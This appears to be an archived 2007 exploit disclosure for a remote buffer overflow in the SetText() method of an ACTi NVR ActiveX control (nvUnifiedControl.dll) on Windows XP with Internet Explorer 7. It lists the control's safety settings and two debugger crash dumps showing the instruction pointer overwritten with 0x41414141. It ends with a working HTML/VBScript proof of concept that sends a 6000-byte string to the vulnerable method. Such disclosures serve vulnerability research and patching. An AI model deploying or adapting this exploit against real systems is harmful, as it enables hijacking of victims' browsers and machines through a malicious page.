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NVR SP2 2.0 (nvUnifiedControl.dll v. 1.1.45.0) SetText() Remote BoF
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NVR SP2 2.0 nvUnifiedControl.AUnifiedControl.1 (nvUnifiedControl.dll v. 1.1.45.0)
"SetText()" Remote BoF
url: http://www.acti.com/index.asp
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
This was written for educational purpose. Use it at your own risk.
Author will be not be responsible for any damage.
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.
This control is marked as:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller
KillBitSet: Falso
Here it is a dump from faultmon:
11:32:16.064 pid=19E4 tid=191C EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [4141447D])
----------------------------------------------------------------
EAX=05494A60: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
EBX=00001770: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ESP=0188EC38: 2C ED 88 01 00 00 00 00-18 6F B3 04 58 E0 34 05
EBP=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ESI=05499B70: 73 6F 6D 65 74 68 69 6E-67 00 00 00 00 00 00 00
EDI=05492390: 68 D0 89 05 70 17 00 00-71 17 00 00 72 17 00 00
EIP=0527BC3D: 8B 82 3C 03 00 00 8B 94-24 DC 00 00 00 51 0F BF
--> MOV EAX,[EDX+0000033C]
----------------------------------------------------------------
11:32:16.064 pid=19E4 tid=191C EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
ESP=0188E868: BF 37 91 7C 50 E9 88 01-DC EC 88 01 6C E9 88 01
EBP=0188E888: 38 E9 88 01 8B 37 91 7C-50 E9 88 01 DC EC 88 01
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
--> N/A
----------------------------------------------------------------
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<object classid='clsid:A6F36F3F-3AE0-458B-AFC4-AA82565E0BF8' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
<script language='vbscript'>
Sub tryMe
buff = String(6000, "A")
test.SetText 1, buff, 1, 1, 1, 1, 1, "something", 1, 1, 1, 1
End Sub
</script>
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28 Aug 2007 00:00Current
7.1High risk
Vulners AI Score7.1